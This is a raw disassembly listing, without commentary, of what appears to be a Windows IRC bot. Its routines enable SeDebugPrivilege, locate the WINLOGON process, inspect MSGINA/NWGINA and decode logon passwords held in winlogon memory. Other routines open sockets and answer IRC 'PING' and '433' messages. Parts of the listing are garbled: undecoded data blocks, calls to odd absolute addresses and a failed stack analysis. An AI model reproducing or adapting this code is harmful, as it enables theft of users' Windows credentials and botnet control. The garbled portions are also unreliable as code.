		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 0ED64BBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 35917FE8h,	75C08502h
		dd 0FC75FF8Fh, 9538E890h, 75FF0233h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	43D1FCh
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 0F9E89056h, 85023590h, 56B175C0h,	3394B5E8h
		dd 458B9002h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_43D3F0
		jmp	loc_417098
; ---------------------------------------------------------------------------

loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26A0C56h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D969C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D9690, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D98A0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D9698, eax
		call	esi
		mov	dword_4D9694, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D8690
		push	edi
		push	ebx
		push	offset off_43D32C
		call	esi
		push	edi
		mov	edi, offset dword_4D8E90
		push	edi
		push	offset off_43D314
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D98A8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------

loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C

loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D98A8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_43D2B8
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------

loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------

loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9

loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_43D280
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_43D254

loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 27A07A3h
		nop
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------

loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_43D220

loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h

loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D969C
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B060Ah
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D969C
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9

loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D9690
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D98A0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1

loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D9698

loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]

loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175

loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi

loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27B060Ah
		nop
		mov	eax, edi

loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207

loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D9698

loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------

loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 26802E0h
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------

loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27D0000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------

loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27C0A6Bh
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB

loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D8690
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D8E90
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389

loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------

loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2760541h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D98B4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D98AC, eax
		mov	dword_4D98B0, edi

loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B060Ah
		mov	esi, [ebp+var_10]

loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26608ABh
		pop	edi
		mov	eax, esi
		pop	ebx

loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 26802E0h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27D0000h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148

loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27C0A6Bh
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27C0CFCh
		nop
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D8690
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D8E90
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515

loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 27B060Ah
		nop
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------

loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467

loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		call	near ptr 26608ABh
		nop

loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax

loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D98AC, ebx
		mov	dword_4D98B0, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F

loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537

loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 26608ABh
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D98A8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	ecx, dword_4D98A8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D98B0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D98B4
		push	eax
		call	dword_4D9694
		push	[ebp+var_4]
		mov	edi, offset dword_4D96A0
		push	offset dword_4D8690
		push	offset dword_4D8E90
		push	[ebp+arg_0]
		push	offset dword_43D43C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 27B060Ah
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D98A8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27C09D8h
		push	eax
		nop
		call	near ptr 27C0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D8E90
		mov	edi, 200h
		mov	esi, offset dword_4D8490

loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D98A8
		add	eax, eax
		push	eax
		push	dword_4D98B0
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D9694
		mov	eax, dword_4D98A8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4

loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0

loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694

loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0

loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1

loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D8690
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43D43C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------

loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D8690
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43D48C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h

loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27C09D8h
		push	eax
		call	near ptr 27B060Ah
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4D08A4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4D0824
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4D0864
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4D08A8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4D07CC
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4D08BC

loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------

loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi

loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42F340 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D98BC
		pop	ecx

loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4D0874

loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DFFDC
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_43233C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx

loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------

loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_43E078
		jmp	short loc_417885
; ---------------------------------------------------------------------------

loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_43E074
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3

loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_43E068

loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4D0874

loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax

loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D98C4[esi]
		mov	dword_4D98B8[esi], edi
		push	dword_4D9AC4[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D98BC[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
